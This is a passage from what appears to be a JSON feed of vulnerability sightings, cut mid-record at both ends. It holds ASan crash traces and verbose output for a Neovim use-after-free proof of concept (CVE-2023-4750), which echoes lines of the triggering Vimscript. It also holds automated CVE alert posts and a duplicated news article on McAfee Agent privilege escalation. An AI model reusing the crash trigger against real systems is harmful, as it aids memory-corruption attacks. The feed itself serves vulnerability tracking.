execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n\npreviously allocated by thread T0 here:\n    #0 0x4e0822 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0822)\n    #1 0x8a0803 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n    #2 0x5de2df in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1835:11\n    #3 0x5e9ab4 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4235:19\n    #4 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #5 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n    #6 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n    #7 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n    #8 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #10 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #11 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #12 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #13 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #14 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #15 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #16 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #18 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #19 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #20 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #21 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #25 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #26 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #27 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #28 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30 in bt_quickfix\nShadow bytes around the buggy address:\n  0x0c4e7fff99b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fff9a00: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==31981==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling function Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nError detected while processing function Xautocmd_changelist:\nline    2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nline    3:\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal Xautocmd_changelist('')\n\ncalling function Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn3\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nfinished sourcing CVE-2023-4750_nvim\ncontinuing in command line\nExecuting: :qa!\n=================================================================\n==32095==ERROR: AddressSanitizer: heap-use-after-free on address 0x6270000151e0 at pc 0x000000b23a48 bp 0x7ffce28d9ed0 sp 0x7ffce28d9ec8\nREAD of size 8 at 0x6270000151e0 thread T0\n    #0 0xb23a47 in buf_get_changedtick /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41\n    #1 0xb23a47 in getout /home/zzw/Desktop/neovim/build/../src/nvim/main.c:641:13\n    #2 0x985083 in ex_quit_all /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6683:5\n    #3 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #4 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #5 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #6 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #7 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #8 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #9 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x6270000151e0 is located 224 bytes inside of 12416-byte region [0x627000015100,0x627000018180)\nfreed by thread T0 here:\n    #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n    #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x69fce4 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:785:5\n    #3 0x69c1cb in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:618:5\n    #4 0x6c70fc in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5661:3\n    #5 0x6c6fc0 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5644:5\n    #6 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n    #7 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n    #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #12 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #13 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #14 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #15 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #16 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #17 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #18 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #19 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #20 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #21 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #22 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #23 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #24 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #25 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #26 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n    #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x6a4abc in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1762:11\n    #3 0x6c6c1f in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5610:19\n    #4 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n    #5 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n    #6 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #7 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #11 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #12 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #17 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #18 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #21 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #22 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #23 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #24 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41 in buf_get_changedtick\nShadow bytes around the buggy address:\n  0x0c4e7fffa9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffa9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fffaa30: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n  0x0c4e7fffaa40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==32095==ABORTING", "vulnerability": "CVE-2023-4750", "author": {"login": "automation"}}, {"uuid": "81025426-80f5-4fb0-b21c-3d08f638ad31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:01:09.093613+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muu2g6pjx72m", "content": "\ud83d\udd34 CVE-2026-78362 - Critical (9.8)\n\nThe SEO Flow by LupsOnline WordPress plugin before 3.0.3 does not correctly validate the credenti...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-78362/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-78362", "author": {"login": "automation"}}, {"uuid": "148d306d-7b2d-4861-8a79-bb1a1334a961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:01:01.974795+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muu2fy44ih24", "content": "\ud83d\udfe0 CVE-2026-77826 - High (8.8)\n\nThe RegistrationMagic  WordPress plugin before 6.0.9.9 does not verify which application a Facebo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-77826/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-77826", "author": {"login": "automation"}}, {"uuid": "9fa79d85-935d-4a06-abcc-c8811a4f77a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:55.289444+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muu2frkoa22b", "content": "\ud83d\udfe0 CVE-2026-82304 - High (8.6)\n\nThe Music Store  WordPress plugin before 1.4.5 does not sanitise and escape user input before usi...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-82304/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-82304", "author": {"login": "automation"}}, {"uuid": "49370c04-c06b-4d8a-8fb9-c29a2263e6b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:13.606787+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muu2ejj6ip2m", "content": "\ud83d\udfe0 CVE-2026-86250 - High (7.5)\n\nh3 versions before 2.0.1-rc.18 fail to validate the chunk count parsed from user-controlled cooki...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-86250/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-86250", "author": {"login": "automation"}}, {"uuid": "08c1ca6c-6eeb-4b62-9c73-a9c628ff7483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:06.178145+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muu2ecn5fk2b", "content": "\ud83d\udfe0 CVE-2026-86242 - High (8.1)\n\nBifrost HTTP transport before 2.0.0 accepts an enabled custom plugin whose path is an HTTP URL th...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-86242/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-86242", "author": {"login": "automation"}}, {"uuid": "ddbf46d8-61e6-4c39-8936-ffea68e25144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.857104+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39709", "content": "hacking: security in practice\nCVE-2021-45467: CWP CentOS Web Panel \u2013 preauth RCE\n\nsubmitted by /u/Gallus \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-45467", "author": {"login": "automation"}}, {"uuid": "7e8b5e99-c05f-4dbf-b8dd-ba00f6e3ac69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.811488+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39938", "content": "Black Hat Ethical Hacking\nMcAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png McAfee Bug Can Be Exploited to Gain Windows SYSTEM PrivilegesPost Views: 187 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nMcAfee has patched two high-severity bugs in its Agent component, one of which can allow attackers to achieve arbitrary code execution with SYSTEM privileges.\nMcAfee has patched two high-severity vulnerabilities in a component of its McAfee Enterprise product that attackers can use to escalate privileges, including up to SYSTEM.\n\nAccording to McAfee\u2019s bulletin, the bugs are in versions prior to 5.7.5 of McAfee Agent,\u00a0which is used in McAfee Endpoint Security, among other McAfee products.\n\nThe Agent is the piece of McAfee ePolicy Orchestrator (McAfee ePO) that downloads and enforces policies and executes client-side tasks such as deployment and updating.\n\nThe McAfee Agent is also the component that uploads events and provides additional data regarding each system\u2019s status. Periodically collecting and sending event information to the McAfee ePO server, the Agent \u2013 which also installs and updates endpoint products \u2013 is a required install on any network system that needs to be managed.\nSee Also: Complete Offensive Security and Ethical Hacking Course OpenSSL Component Bug Can Lead to SYSTEM PrivilegesOne of the flaws in the Agent \u2013 tracked as CVE-2022-0166 and given a CVSS base criticality rating of 7.8 \u2013 was discovered by Will Dormann of the Carnegie Mellon University\u2019s CERT Coordination Center (CERT/CC).\n\nOn Thursday, CERT/CC published an advisory\u00a0that said that the vulnerability is found in an OpenSSL component in Agent that specifies an OPENSSLDIR variable as a subdirectory that \u201c[may] be controllable by an unprivileged user on Windows.\u201d\n\nAccording to the advisory, McAfee Agent \u201ccontains a privileged service that uses this OpenSSL component. A user who can place a specially crafted openssl.cnf file at an appropriate path may be able to achieve arbitrary code execution with SYSTEM privileges.\u201d\n\nDormann found that an unprivileged user could exploit the bug to place a specially crafted openssl.cnf in a location used by McAfee Agent and thus potentially be able to execute arbitrary code with SYSTEM privileges on a Windows system that has the vulnerable McAfee Agent software installed.\n\nWhen Dormann referred to an openssl.cnf, he was talking about an OpenSSL configuration file: a file that provides SSL defaults for items such as certificate files locations, and site details such as those entered during installation.\nSee Also: Microsoft: New critical Windows HTTP vulnerability is wormable Arbitrary Shell CodeThe second bug in the Agent \u2013 tracked as CVE-2021-31854 and given a CVSS criticality rating of 7.7 \u2013 can be exploited by a local user to inject arbitrary shell code into a file, McAfee said in its advisory. \u201cAn attacker can exploit the security hole to obtain a reverse shell that allows them to gain root privileges,\u201d according to the company.\n\nThe vulnerability, which is still pending analysis by its discoverer \u2013 Russell Wells from Cyberlinx Security \u2013 is a command-injection vulnerability in McAfee Agent for Windows prior to 5.7.5. McAfee said that it allows local users to inject arbitrary shell code into the file cleanup.exe.\n\n\u201cThe malicious clean.exe file is placed into the relevant folder and executed by running the McAfee Agent deployment feature located in the System Tree,\u201d according to McAfee. \u201cAn attacker may exploit the vulnerability to obtain [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-31854", "author": {"login": "automation"}}, {"uuid": "9e79bd3e-3f9b-4bc6-94d6-c8481e9c5735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.767709+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39938", "content": "Black Hat Ethical Hacking\nMcAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png McAfee Bug Can Be Exploited to Gain Windows SYSTEM PrivilegesPost Views: 187 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nMcAfee has patched two high-severity bugs in its Agent component, one of which can allow attackers to achieve arbitrary code execution with SYSTEM privileges.\nMcAfee has patched two high-severity vulnerabilities in a component of its McAfee Enterprise product that attackers can use to escalate privileges, including up to SYSTEM.\n\nAccording to McAfee\u2019s bulletin, the bugs are in versions prior to 5.7.5 of McAfee Agent,\u00a0which is used in McAfee Endpoint Security, among other McAfee products.\n\nThe Agent is the piece of McAfee ePolicy Orchestrator (McAfee ePO) that downloads and enforces policies and executes client-side tasks such as deployment and updating.\n\nThe McAfee Agent is also the component that uploads events and provides additional data regarding each system\u2019s status. Periodically collecting and sending event information to the McAfee ePO server, the Agent \u2013 which also installs and updates endpoint products \u2013 is a required install on any network system that needs to be managed.\nSee Also: Complete Offensive Security and Ethical Hacking Course OpenSSL Component Bug Can Lead to SYSTEM PrivilegesOne of the flaws in the Agent \u2013 tracked as CVE-2022-0166 and given a CVSS base criticality rating of 7.8 \u2013 was discovered by Will Dormann of the Carnegie Mellon University\u2019s CERT Coordination Center (CERT/CC).\n\nOn Thursday, CERT/CC published an advisory\u00a0that said that the vulnerability is found in an OpenSSL component in Agent that specifies an OPENSSLDIR variable as a subdirectory that \u201c[may] be controllable by an unprivileged user on Windows.\u201d\n\nAccording to the advisory, McAfee Agent \u201ccontains a privileged service that uses this OpenSSL component. A user who can place a specially crafted openssl.cnf file at an appropriate path may be able to achieve arbitrary code execution with SYSTEM privileges.\u201d\n\nDormann found that an unprivileged user could exploit the bug to place a specially crafted openssl.cnf in a location used by McAfee Agent and thus potentially be able to execute arbitrary code with SYSTEM privileges on a Windows system that has the vulnerable McAfee Agent software installed.\n\nWhen Dormann referred to an openssl.cnf, he was talking about an OpenSSL configuration file: a file that provides SSL defaults for items such as certificate files locations, and site details such as those entered during installation.\nSee Also: Microsoft: New critical Windows HTTP vulnerability is wormable Arbitrary Shell CodeThe second bug in the Agent \u2013 tracked as CVE-2021-31854 and given a CVSS criticality rating of 7.7 \u2013 can be exploited by a local user to inject arbitrary shell code into a file, McAfee said in its advisory. \u201cAn attacker can exploit the security hole to obtain a reverse shell that allows them to gain root privileges,\u201d according to the company.\n\nThe vulnerability, which is still pending analysis by its discoverer \u2013 Russell Wells from Cyberlinx Security \u2013 is a command-injection vulnerability in McAfee Agent for Windows prior to 5.7.5. McAfee said that it allows local users to inject arbitrary shell code into the file cleanup.exe.\n\n\u201cThe malicious 